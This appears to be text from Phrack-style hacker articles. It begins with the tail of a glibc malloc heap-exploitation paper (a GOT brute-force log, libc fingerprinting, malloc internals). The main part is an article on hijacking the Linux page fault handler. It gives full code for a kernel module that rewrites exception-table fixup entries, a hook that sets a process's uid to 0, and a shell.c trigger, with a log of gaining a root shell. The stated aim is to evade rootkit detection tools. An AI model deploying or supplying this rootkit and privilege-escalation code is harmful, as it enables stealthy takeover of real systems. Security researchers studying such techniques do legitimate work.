(‑) 512 bytes shellcode @ 0x8049cb0

(‑) forcing bin address disclosure... 0x4212b1dc

(‑) starting libc GOT bruteforcing @ 0x4212a9dc

try #183 writing 0x8049cb0 at 0x4212a424 using 1944 bytes chunk try #184 writing 0x8049cb0 at 0x4212a41c using 588 bytes chunk try #185 writing 0x8049cb0 at 0x4212a414 using 1148 bytes chunk try #186 writing 0x8049cb0 at 0x4212a40c using 1072 bytes chunk try #187 writing 0x8049cb0 at 0x4212a404 using 948 bytes chunk try #188 writing 0x8049cb0 at 0x4212a3fc using 1836 bytes chunk try #189 writing 0x8049cb0 at 0x4212a3f4 using 1132 bytes chunk try #190 writing 0x8049cb0 at 0x4212a3ec using 1432 bytes chunk

Finally, the loop shellcode gets executed... 5 crashes were needed, stepping 8 bytes each time. Playing with the STEP and the ADJUST values and the do_little() function will yield different results.

‑‑] 4.5.4 Libc fingerprinting

Having a bin address allows us to recognize the libc version being attacked.

We just need to build a database with different libcs from different distributions to match the obtained bin address and bin number. Knowing exactly which is the libc the target process has loaded gives us the exact absolute address of any location within libc, such as: function pointers, internal structures, flags, etc. This information can be abused to build several attacks in different scenarios, i.e. knowing the location of functions and strings allows to easily craft return into libc attacks [14].

Besides, knowing the libc version enables us to know which Linux distribution is running the target host. These could allow further exploitation in case we are not able to exploit the bug (the one we are using to leak the bin address) to execute code.

‑‑] 4.5.5 Arena corruption (top, last remainder and bin modification)

From the previously gathered main_arena address, we know the location of any bin, including the top chunk and the last reminder chunk. Corrupting any of this pointers will completely modify the allocator behavior. Right now, I don't have any code to confirm this, but there are lot of possibilities open for research here, as an attacker might be able to redirect a whole bin into his own supplied input.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑] 4.6 Copying the shellcode 'by hand'

Other trick that allows the attacker to know the exact location of the injected shellcode, is copying the shellcode to a fixed address using the aa4bmo primitive.

As we can't write any value, using unaligned writes is needed to create the shellcode in memory, writting 1 or 2 bytes each time.

We need to be able to copy the whole shellcode before the server crashes in order to use this technique.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑] 5 Conclusions

malloc based vulnerabilities provide a huge opportunity for fully automated exploitation.

The ability to transform the aa4bmo primitive into memory leak primitives allows the attacker to exploit processes without any prior knowledge, even in presence of memory layout randomization schemes.

[ Note by editors: It came to our attention that the described technique might not work for the glibc 2.3 serie. ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑] 6 Thanks

I'd like to thank a lot of people: 8a, beto, gera, zb0, raddy, juliano, kato, javier burroni, fgsch, chipi, MaXX, lck, tomas, lau, nahual, daemon, module, ...

Classifying you takes some time (some 'complex' ppl), so I'll just say thank you for encouraging me to write this article, sharing your ideas, letting me learn a lot from you every day, reviewing the article, implementing the morecore idea for first time, being my friends, asking for torta, not making torta, personal support, coding nights, drinking beer, ysm, roquefort pizza, teletubbie talking, making work very interesting, making the world a happy place to live, making people hate you because of the music...

(you should know which applies for you, do not ask)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑] 7 References

[1] http://www.malloc.de/malloc/ptmalloc2.tar.gz

ftp://g.oswego.edu/pub/misc/malloc.c

[2] www.phrack.org/phrack/57/p57‑0x08

Vudo ‑ An object superstitiously believed to embody magical power Michel "MaXX" Kaempf

[3] www.phrack.org/phrack/57/p57‑0x09

Once upon a free()

anonymous

[4] http://www.phrack.org/show.php?p=59&a=7

Advances in format string exploitation

gera and riq

[5] http://www.coresecurity.com/common/showdoc.php? \

idx=359&idxseccion=13&idxmenu=32

About exploits writing

gera

[6] http://online.securityfocus.com/bid/5363

[7] http://security.e‑matters.de/advisories/012003.txt

[8] http://www.openwall.com/advisories/OW‑002‑netscape‑jpeg.txt

JPEG COM Marker Processing Vulnerability in Netscape Browsers Solar Designer

[9] http://lists.insecure.org/lists/bugtraq/2000/Nov/0086.html

Local root exploit in LBNL traceroute

Michel "MaXX" Kaempf

[10] http://www.w00w00.org/files/articles/heaptut.txt

w00w00 on Heap Overflows

Matt Conover & w00w00 Security Team

[11] http://www.phrack.org/show.php?p=49&a=14

Smashing The Stack For Fun And Profit

Aleph One

[12] http://phrack.org/show.php?p=55&a=8

The Frame Pointer Overwrite

klog

[13] http://www.phrack.org/show.php?p=59&a=9

Bypassing PaX ASLR protection

p59_09@author.phrack.org

[14] http://phrack.org/show.php?p=58&a=4

The advanced return‑into‑lib(c) exploits

Nergal

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Appendix I ‑ malloc internal structures overview

This appendix contains a brief overview about some details of malloc inner workings we need to have in mind in order to fully understand most of the techniques explained in this paper.

Free consolidated 'chunks' of memory are maintained mainly (forgetting the top chunk and the last_remainder chunk) in circular double‑linked lists, which are initially empty and evolve with the heap layout. The circularity of these lists is very important for us, as we'll see later on.

A 'bin' is a pair of pointers from where these lists hang. There exist 128 (#define NAV 128) bins, which may be 'small' bins or 'big bins'. Small bins contain equally sized chunks, while big bins are composed of not the same size chunks, ordered by decreasing size.

These are the macros used to index into bins depending of its size:

#define MAX_SMALLBIN 63

#define MAX_SMALLBIN_SIZE 512

#define SMALLBIN_WIDTH 8

#define is_small_request(nb) ((nb) < MAX_SMALLBIN_SIZE ‑ SMALLBIN_WIDTH) #define smallbin_index(sz) (((unsigned long)(sz)) >> 3)

#define bin_index(sz)

(((((unsigned long)(sz)) >> 9) == 0) ? (((unsigned long)(sz)) >> 3):\ ((((unsigned long)(sz)) >> 9) <= 4) ? 56 + (((unsigned long)(sz)) >> 6):\ ((((unsigned long)(sz)) >> 9) <= 20) ? 91 + (((unsigned long)(sz)) >> 9):\ ((((unsigned long)(sz)) >> 9) <= 84) ? 110 + (((unsigned long)(sz)) >> 12):\ ((((unsigned long)(sz)) >> 9) <= 340) ? 119 + (((unsigned long)(sz)) >> 15):\ ((((unsigned long)(sz)) >> 9) <= 1364) ? 124 + (((unsigned long)(sz)) >> 18):\

126)

From source documentation we know that 'an arena is a configuration of malloc_chunks together with an array of bins. One or more 'heaps' are associated with each arena, except for the 'main_arena', which is associated only with the 'main heap', i.e. the conventional free store obtained with calls to MORECORE()...', which is the one we are interested in.

This is the way an arena looks like...

typedef struct _arena {

mbinptr av[2*NAV + 2];

struct _arena *next;

size_t size;

#if THREAD_STATS

long stat_lock_direct, stat_lock_loop, stat_lock_wait;

#endif

'av' is the array where bins are kept.

These are the macros used along the source code to access the bins, we can see the first two bins are never indexed; they refer to the topmost chunk, the last_remainder chunk and a bitvector used to improve seek time, though this is not really important for us.

/* bitvector of nonempty blocks */

#define binblocks(a) (bin_at(a,0)‑>size)

/* The topmost chunk */

#define top(a) (bin_at(a,0)‑>fd)

/* remainder from last split */

#define last_remainder(a) (bin_at(a,1))

#define bin_at(a, i) BOUNDED_1(_bin_at(a, i))

#define _bin_at(a, i) ((mbinptr)((char*)&(((a)‑>av)[2*(i)+2]) ‑ 2*SIZE_SZ))

Finally, the main_arena...

#define IAV(i) _bin_at(&main_arena, i), _bin_at(&main_arena, i) static arena main_arena = {

{

0, 0,

IAV(0), IAV(1), IAV(2), IAV(3), IAV(4), IAV(5), IAV(6), IAV(7), IAV(8), IAV(9), IAV(10), IAV(11), IAV(12), IAV(13), IAV(14), IAV(15), IAV(16), IAV(17), IAV(18), IAV(19), IAV(20), IAV(21), IAV(22), IAV(23), IAV(24), IAV(25), IAV(26), IAV(27), IAV(28), IAV(29), IAV(30), IAV(31), IAV(32), IAV(33), IAV(34), IAV(35), IAV(36), IAV(37), IAV(38), IAV(39), IAV(40), IAV(41), IAV(42), IAV(43), IAV(44), IAV(45), IAV(46), IAV(47), IAV(48), IAV(49), IAV(50), IAV(51), IAV(52), IAV(53), IAV(54), IAV(55), IAV(56), IAV(57), IAV(58), IAV(59), IAV(60), IAV(61), IAV(62), IAV(63), IAV(64), IAV(65), IAV(66), IAV(67), IAV(68), IAV(69), IAV(70), IAV(71), IAV(72), IAV(73), IAV(74), IAV(75), IAV(76), IAV(77), IAV(78), IAV(79), IAV(80), IAV(81), IAV(82), IAV(83), IAV(84), IAV(85), IAV(86), IAV(87), IAV(88), IAV(89), IAV(90), IAV(91), IAV(92), IAV(93), IAV(94), IAV(95), IAV(96), IAV(97), IAV(98), IAV(99), IAV(100), IAV(101), IAV(102), IAV(103), IAV(104), IAV(105), IAV(106), IAV(107), IAV(108), IAV(109), IAV(110), IAV(111), IAV(112), IAV(113), IAV(114), IAV(115), IAV(116), IAV(117), IAV(118), IAV(119), IAV(120), IAV(121), IAV(122), IAV(123), IAV(124), IAV(125), IAV(126), IAV(127) },

&main_arena, /* next */

0, /* size */

#if THREAD_STATS

0, 0, 0, /* stat_lock_direct, stat_lock_loop, stat_lock_wait */

#endif

MUTEX_INITIALIZER /* mutex */

};

The main_arena is the place where the allocator stores the 'bins' to which the free chunks are linked depending on they size.

The little graph below resumes all the structures detailed before:

<main_arena> @ libc's DATA

[bin_n] (first chunk)

ptr] ‑‑‑‑> [<‑ chunk ‑>] [<‑ chunk ‑>] [<‑ fd

chunk

ptr] ‑‑‑‑> [<‑ chunk ‑>] [<‑ chunk ‑>] [<‑ bk

[bin_n+1] (last chunk)

.

.

.

[bin_X]

ptr] ‑‑‑‑> [<‑ fd

[ lonely but interesting chunk

ptr] ‑‑‑‑> [<‑ bk

.

.

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hijacking Linux Page Fault Handler

==Phrack Inc.==

Volume 0x0b, Issue 0x3d, Phile #0x07 of 0x0f

|=‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Hijacking Linux Page Fault Handler ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Exception Table ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ buffer <buffer@antifork.org> ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=| |=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ http://buffer.antifork.org ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

‑‑[ Contents

1. Introduction

2. System Calls and User Space Access

3. Page Fault Exception

4. Implementation

5. Further Considerations

6. Conclusions

7. Thanks

8. References

‑‑[ 1 ‑ Introduction

"Just another Linux LKM"... that's what you could think reading this article, but I think it's not correct. In the past years, we have seen a lot of techniques for hiding many kinds of things, e.g. processes, network connection, files, etc. etc., through the use of LKM's. The first techniques were really simple to understand. The real problem with these techniques is that they are easy to detect as well. If you replace an address in the syscall table, or if you overwrite the first 7 bytes within syscall code (as described by Silvio Cesare [4]), it's quite easy for tools such as Kstat [5] and/or AngeL [6] to identify these malicious activities. Later, more sophisticated techniques were presented. An interesting technique was proposed by kad, who suggested modifying the Interrupt Descriptor Table in such a way so as to redirect an exception raised from User Space code (such as the "Divide Error") to execute a new handler whose address replaced the original one in the IDT entry [7]. This idea is pretty but it has two disadvantages:

1‑ it's detectable using an approach based on hash values computed on the whole IDT, as shown by AngeL in its latest 0.9.x releases. This is mainly due to the fact that the address at which the IDT lives in kernel memory can be easily obtained since its value is stored in %idtr register. This register can be read with the asm instruction sidt which allows to store it in a variable.

2‑ if a user code executes a division by 0 (it may happen... ) a strange behaviour could appear. Yes, someone could think that this is uncommon if we choose the right handler, but what if there is a safer solution?

The idea I'm proposing has just one goal: to provide effective stealth against all tools used for identifying malicious LKM's. The technique is based on a kernel feature which is never used in practice. In fact, as we are going to see, we will be exploiting a general protection mechanism in the memory management subsystem. This mechanism is used only if a user space code is deeply bugged and this is not usually the case.

No more words let's start!

‑‑[ 2 ‑ System Calls and User Space Access

First of all, a bit of theory. I'll refer to Linux kernel 2.4.20, however the code is almost the same for kernels 2.2. In particular we are interested in what happens in some situations when we need to ask a kernel feature through a syscall. When a syscall is called from User Space (through software interrupt 0x80) the system_call() exception handler is executed. Let's take a look to its implementation, found in arch/i386/kernel/entry.S.

ENTRY(system_call)

pushl %eax # save orig_eax SAVE_ALL

GET_CURRENT(%ebx)

testb $0x02,tsk_ptrace(%ebx) # PT_TRACESYS jne tracesys

cmpl $(NR_syscalls),%eax

jae badsys

call *SYMBOL_NAME(sys_call_table)(,%eax,4) movl %eax,EAX(%esp) # save the return value [..]

As we can easily see, system_call() saves all registers' contents in the Kernel Mode stack. It then derives a pointer to the task_struct structure of the currently executing process by calling GET_CURRENT(%ebx). Some checks are done to verify the correctness of syscall number and to see if the process is currently being traced. Finally the syscall is called by using sys_call_table, which maintains the addresses of the syscalls, by using the syscall number saved in %eax as an offset within the table. Now let's take a look at some particular syscalls. For our purposes, we are searching for syscalls which take a User Space pointer as an argument. I chose sys_ioctl() but there are other ones with a similar behaviour.

asmlinkage long sys_ioctl(unsigned int fd, unsigned int cmd, unsigned long arg)

{

struct file * filp;

unsigned int flag;

int on, error = ‑EBADF;

[..]

case FIONBIO:

if ((error = get_user(on, (int *)arg)) != 0) break;

flag = O_NONBLOCK;

[..]

The macro get_user() is used to copy data from User Space to Kernel Space. In this case, we are directing our attention at the code for setting non blocking I/O on the file descriptor passed to the syscall. An example of correct use, from User Space, of this feature could be :

inton = 1;

ioctl(fd, FIONBIO, &on);

Let's take a look at the get_user() implementation which can be found in include/asm/uaccess.h.

#define __get_user_x(size,ret,x,ptr) \

__asm__ __volatile__("call __get_user_" #size \ :"=a" (ret),"=d" (x) \

:"0" (ptr))

/* Careful: we have to cast the result to the type of the pointer for sign

reasons */

#define get_user(x,ptr)

({ int __ret_gu,__val_gu;

switch(sizeof (*(ptr))) {

case 1: __get_user_x(1,__ret_gu,__val_gu,ptr); break; \ case 2: __get_user_x(2,__ret_gu,__val_gu,ptr); break; \ case 4: __get_user_x(4,__ret_gu,__val_gu,ptr); break; \ default: __get_user_x(X,__ret_gu,__val_gu,ptr); break; \

}

(x) = (__typeof__(*(ptr)))__val_gu; \

__ret_gu;

})

As we can see, get_user() is implemented in a very smart way because it calls the right function basing on the size of the argument to be copied from User Space. Depending on the value of (sizeof (*(ptr))) __get_user_1() , __get_user_2() or __get_user_4(), would be called.

Now let's take a look at one of these functions, __get_user_4(), which can be found in arch/i386/lib/getuser.S.

addr_limit = 12

[..]

.align 4

.globl __get_user_4

__get_user_4:

addl $3,%eax

movl %esp,%edx

jc bad_get_user

andl $0xffffe000,%edx

cmpl addr_limit(%edx),%eax

jae bad_get_user

3: movl ‑3(%eax),%edx

xorl %eax,%eax

ret

bad_get_user:

xorl %edx,%edx

movl $‑14,%eax

ret

.section __ex_table,"a"

.long 1b,bad_get_user

.long 2b,bad_get_user

.long 3b,bad_get_user

.previous

The last lines between .section and .previous identify the exception table which we'll discuss later since it's important for our purposes.

As it can be seen, the __get_user_4() implementation is straightforward. The argument address is in the %eax register. By adding 3 to %eax, it's possible to obtain the greatest User Space referenced address. It's necessary to control if this address is in the User Mode addressable range (from 0x00000000 to PAGE_OFFSET ‑ 1, where PAGE_OFFSET is usually 0xc0000000).

If, when comparing the User Space address with current‑>addr_limit.seg (stored at offset 12 from the beginning of the task descriptor, whose pointer was obtained by zeroing the last 13 bits of the Kernel Mode stack pointer) we find it is greater than PAGE_OFFSET ‑ 1, we jump to the label bad_get_user thus zeroing %edx and putting ‑EFAULT (‑14) in %eax (syscall return value).

But what happens if this address is in the User Mode addressable range (below PAGE_OFFSET) but outside the process address space? Did someone say Page Fault?!

‑‑[ 3 ‑ Page Fault Exception

"A page fault exception is raised when the addressed page is not present in memory, the corresponding page table entry is null or a violation of the paging protection mechanism has occurred." [1]

Linux handles a page fault exception with the page fault handler do_page_fault(). This handler can be found in arch/i386/mm/fault.c

In particular, we are interested in the three cases which may occur when a page fault exception occurs in Kernel Mode.

In the first case, "the kernel attempts to address a page belonging to the process address space, but either the corresponding page frame does not exist (Demand Paging) or the kernel is trying to write a read‑only page (Copy On Write)." [1]

In the second case, "some kernel function includes a programming bug that causes the exception to be raised when the program is executed; alternatively, the exception might be caused by a transient hardware error." [1]

This two cases are not interesting for our purposes.

The third (and interesting) case is when "a system call service routine (such as sys_ioctl() in our example) attempts to read or write into a memory area whose address has been passed as a system call parameter, but that address does not belong to the process address space." [1]

The first case is easily identified by looking at the process memory regions. If the address which caused the exception belongs to the process address space it will fall within a process memory region. This is not interesting for our purposes.

The interesting thing is how the kernel can distinguish between the second and the third case. The key to determining the source of a page fault lies in the narrow range of calls that the kernel uses to access the process address space.

For this purpose, the kernel builds an exception table in kernel memory. The boundaries of such region are defined by the symbols __start___ex_table and __stop___ex_table. Their values can be easily derived from System.map in this way.

buffer@rigel:/usr/src/linux$ grep ex_table System.map

c0261e20 A __start___ex_table

c0264548 A __stop___ex_table

buffer@rigel:/usr/src/linux$

What's the content of this memory region? In this region you could find couples of address. The first one (insn) represents the address of the instruction (belonging to a function which accesses the User Space address range, such as the ones previously described) which may raise a page fault. The second one (fixup) is a pointer to the "fixup code".

When a page fault occurs within the kernel and the first case (demand paging or copy on write) is not verified, the kernel checks if the address which caused the page fault matches an insn entry in the exception table. If it doesn't, we are in the second case and the kernel raises an Oops. Otherwise, if the address matches an insn entry in the exception table, we are in the third case since the page fault exception was raised while accessing a User Space address. In this case, the control is passed to the function whose address is specified in the exception table as fixup code.

This is done by simply doing this.

if ((fixup = search_exception_table(regs‑>eip)) != 0) { regs‑>eip = fixup;

return;

}

The function search_exception_table() searches for an insn entry in the exception table which matches the address of the instruction which raised the page fault. If it's found, it means the page fault exception was raised during an access to a User Space address. In this case, regs‑>eip is pointed to the fixup code and then do_page_fault() returns thus jumping to the fixup code.

It is obvious to realize that the three functions __get_user_x(), which access User Space addresses, must have a fixup code for handling situations like the one depicted before.

Going back let's take a look again at __get_user_4()

.align 4

.globl __get_user_4

__get_user_4:

addl $3,%eax

movl %esp,%edx

jc bad_get_user

andl $0xffffe000,%edx

cmpl addr_limit(%edx),%eax

jae bad_get_user

3: movl ‑3(%eax),%edx

xorl %eax,%eax

ret

bad_get_user:

xorl %edx,%edx

movl $‑14,%eax

ret

.section __ex_table,"a"

.long 1b,bad_get_user

.long 2b,bad_get_user

.long 3b,bad_get_user

.previous

First of all, looking at the code, we should point our attention to the GNU Assembler .section directive which allows the programmer to specify which section of the executable file will contain the code that follows. The "a" attribute specifies that the section must be loaded in memory together with the rest of the kernel image. So, in this case, the three entries are inserted in the kernel exception table and are loaded with the rest of the kernel image.

Now, taking a look at __get_user_4() there's an instruction labeled with a 3.

3: movl ‑3(%eax),%edx

If we added 3 to %eax (it is done in the first instruction of the function __get_user_4() for checking purposes as outlined before), ‑3(%eax) is the starting address of the 4‑byte argument to copy from User Space. So, this is the instruction which really accesses User Space address. Take a look at the last entry in the exception table

.long 3b,bad_get_user

If you know that the suffix b stands for 'backward' to indicate that the label appears in a previous line of code (and so simply ignore it just for understanding the meaning of this code), you could realize that here we have

insn : address of movl ‑3(%eax),%edx

fixup : address of bad_get_user

Well guys what we are realizing here is that bad_get_user is the fixup code for the function __get_user_4() and it will be called every time the instruction labeled 3 raises a page fault. This is obviously still true for __get_user_1() and __get_user_2().

At this point we need bad_get_user address.

buffer@rigel:/usr/src/linux$ grep bad_get_user System.map c022f39c t bad_get_user

buffer@rigel:/usr/src/linux$

If you compile exception.c (shown later) with flag FIXUP_DEBUG set, you'll see this in your log files which clearly shows what I said before.

May 23 18:36:35 rigel kernel: address : c0264530 insn: c022f361 fixup : c022f39c

May 23 18:36:35 rigel kernel: address : c0264538 insn: c022f37a fixup : c022f39c

May 23 18:36:35 rigel kernel: address : c0264540 insn: c022f396 fixup : c022f39c

buffer@rigel:/usr/src/linux$ grep __get_user_ System.map c022f354 T __get_user_1

c022f368 T __get_user_2

c022f384 T __get_user_4

Looking at the first entry in the exception table, we can easily realize that 0xc022f39c is the address of the instruction labeled 3 in the source code within __get_user_4() which may raise the page fault as outlined before. Obviously, the situation is similar for the other two functions.

Now the idea should be clear. If I replace a fixup code address in the exception table and then from User Space I just call a syscall with a bad address argument I can force the execution of whatever I want. And for doing this I need to modify just 4 bytes! Moreover, this appears to be particulary stealth since this situation is not so common. In fact, for raising this behaviour, it's necessary that the program you will execute contain a bug in passing an argument to a syscall. If you know this can lead to something interesting you could even do it but this situation is very uncommon. In the next section I present a proof of concept which shows how to exploit what I discussed. In this example, I modified fixup code addresses of the three __get_user_x() functions.

‑‑[ 4 ‑ Implementation

This is the LKM code. In this code, I hardcoded some values taken from my System.map file but it's not needed to edit the source file since these values can be passed to the module when calling insmod for linking it to the kernel. If you want more verbosity in the log files, compile it with the flag ‑DFIXUP_DEBUG (as done for showing results presented before).

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ exception.c ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/*

* Filename: exception.c

* Creation date: 23.05.2003

* Author: Angelo Dell'Aera 'buffer' ‑ buffer@antifork.org

*

* This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version.

*

* This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details.

*

* You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston,

* MA 02111‑1307 USA

*/

#ifndef __KERNEL__

#define __KERNEL__

#endif

#ifndef MODULE

#define MODULE

#endif

#define __START___EX_TABLE 0xc0261e20

#define __END___EX_TABLE 0xc0264548

#define BAD_GET_USER 0xc022f39c

unsigned long start_ex_table = __START___EX_TABLE;

unsigned long end_ex_table = __END___EX_TABLE;

unsigned long bad_get_user = BAD_GET_USER;

#include <linux/module.h>

#include <linux/kernel.h>

#include <linux/slab.h>

#ifdef FIXUP_DEBUG

# define PDEBUG(fmt, args...) printk(KERN_DEBUG "[fixup] : " fmt, ##args) #else

# define PDEBUG(fmt, args...) do {} while(0)

#endif

MODULE_PARM(start_ex_table, "l");

MODULE_PARM(end_ex_table, "l");

MODULE_PARM(bad_get_user, "l");

struct old_ex_entry {

struct old_ex_entry *next;

unsigned long address;

unsigned long insn;

unsigned long fixup;

};

struct old_ex_entry *ex_old_table;

void hook(void)

{

printk(KERN_INFO "Oh Jesus... it works!\n");

}

void cleanup_module(void)

{

struct old_ex_entry *entry = ex_old_table; struct old_ex_entry *tmp;

if (!entry)

return;

while (entry) {

*(unsigned long *)entry‑>address = entry‑>insn; *(unsigned long *)((entry‑>address) + sizeof(unsigned long)) = entry‑>fixup;

tmp = entry‑>next; kfree(entry);

entry = tmp;

}

return;

}

int init_module(void)

{

unsigned long insn = start_ex_table; unsigned long fixup;

struct old_ex_entry *entry, *last_entry;

ex_old_table = NULL;

PDEBUG(KERN_INFO "hook at address : %p\n", (void *)hook);

for(; insn < end_ex_table; insn += 2 * sizeof(unsigned long)) {

fixup = insn + sizeof(unsigned long);

if (*(unsigned long *)fixup == BAD_GET_USER) {

PDEBUG(KERN_INFO "address : %p insn: %lx fixup : %lx\n",

void *)insn, *(unsigned long *)insn,

unsigned long *)fixup);

entry = (struct old_ex_entry *)kmalloc(GFP_ATOMIC, sizeof(struct old_ex_entry));

if (!entry)

return ‑1;

entry‑>next = NULL; entry‑>address = insn; entry‑>insn = *(unsigned long *)insn; entry‑>fixup = *(unsigned long *)fixup;

if (ex_old_table) {

last_entry = ex_old_table;

while(last_entry‑>next != NULL)

last_entry = last_entry‑>next;

last_entry‑>next = entry;

} else

ex_old_table = entry;

*(unsigned long *)fixup = (unsigned long)hook;

PDEBUG(KERN_INFO "address : %p insn: %lx fixup : %lx\n",

void *)insn, *(unsigned long *)insn,

unsigned long *)fixup);

}

}

return 0;

}

MODULE_LICENSE("GPL");

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

And now a simple code which calls ioctl(2) with a bad argument.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ [ test.c ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/*

* Filename: test.c

* Creation date: 23.05.2003

* Author: Angelo Dell'Aera 'buffer' ‑ buffer@antifork.org

*

* This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version.

*

* This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details.

*

* You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software

* Foundation, Inc., 59 Temple Place, Suite 330, Boston,

* MA 02111‑1307 USA

*/

#include <stdio.h>

#include <sys/types.h>

#include <sys/stat.h>

#include <fcntl.h>

#include <unistd.h>

#include <errno.h>

#include <sys/ioctl.h>

int main()

{

int fd;

int res;

fd = open("testfile", O_RDWR | O_CREAT, S_IRWXU); res = ioctl(fd, FIONBIO, NULL);

printf("result = %d errno = %d\n", res, errno); return 0;

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Ok let's look if it works.

buffer@rigel:~$ gcc ‑I/usr/src/linux/include ‑O2 ‑Wall ‑c exception.c buffer@rigel:~$ gcc ‑o test test.c

buffer@rigel:~$ ./test

result = ‑1 errno = 14

As we expected, we got an EFAULT error (errno = 14).

Let's try to link our module now.

buffer@rigel:~$ su

Password:

bash‑2.05b# insmod exception.o

bash‑2.05b# exit

buffer@rigel:~$ ./test

result = 25 errno = 0

buffer@rigel:~$

Looking at /var/log/messages

bash‑2.05b# tail ‑f /usr/adm/messages

[..]

May 23 21:31:56 rigel kernel: Oh Jesus... it works!

Seems it works fine! :)

What can we do now?! Try to take a look at this!

Just changing the previous hook() function with this simple one

void hook(void)

{

current‑>uid = current‑>euid = 0;

}

and using this user space code for triggering the page fault handler

‑‑‑‑‑‑‑‑‑‑‑‑ shell.c ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/*

* Filename: shell.c

* Creation date: 23.05.2003

* Author: Angelo Dell'Aera 'buffer' ‑ buffer@antifork.org

*

* This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version.

*

* This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details.

*

* You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software

* Foundation, Inc., 59 Temple Place, Suite 330, Boston,

* MA 02111‑1307 USA

*/

#include <stdio.h>

#include <sys/types.h>

#include <sys/stat.h>

#include <fcntl.h>

#include <unistd.h>

#include <errno.h>

#include <sys/ioctl.h>

int main()

{

int fd;

int res;

char *argv[2];

argv[0] = "/bin/sh";

argv[1] = NULL;

fd = open("testfile", O_RDWR | O_CREAT, S_IRWXU); res = ioctl(fd, FIONBIO, NULL);

printf("result = %d errno = %d\n", res, errno); execve(argv[0], argv, NULL);

return 0;

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

buffer@rigel:~$ su

Password:

bash‑2.05b# insmod exception.o

bash‑2.05b# exit

buffer@rigel:~$ gcc ‑o shell shell.c

buffer@rigel:~$ id

uid=500(buffer) gid=100(users) groups=100(users)

buffer@rigel:~$ ./shell

result = 25 errno = 0

sh‑2.05b# id

uid=0(root) gid=100(users) groups=100(users)

sh‑2.05b#

Really nice, isn't it? :)

This is just an example of what you can do. Using this LKM, you are able to execute anything as if you were root. Do you need something else? Well what you need is simply modifying hook() and/or user space code which raises Page Fault exception... it's up to your fantasy now!

‑‑ [ 5 ‑ Further Considerations

When this idea came to my mind I wasn't able to realize what I really did. It came out just as the result of an intellectual masturbation. Just few hours later I understood...

Think about what you need for changing an entry in the syscall table for redirecting a system call. Or think about what you need for modifying the first 7 bytes of a syscall code as outlined by Silvio. What you need is simply a "reference mark". Here, your "reference mark" is the exported symbol sys_call_table in both cases. But, unfortunately, you're not the only one who knows it. Detection tools can easily know it (since it's an exported symbol) and so it's quite simple for them to detect changes in the syscall table and/or in the system call code.

What if you want to modify the Interrupt Descriptor Table as outlined by kad? You need a "reference mark" as well. In this case, the "reference mark" is the IDT address in the kernel memory. But this address is easy to retrieve too and what a detection tool needs to obtain it is simply this

long long idtr;

long __idt_table;

__asm__ __volatile__("sidt %0\n" : : "m"(idtr));

__idt_table = idtr >> 16;

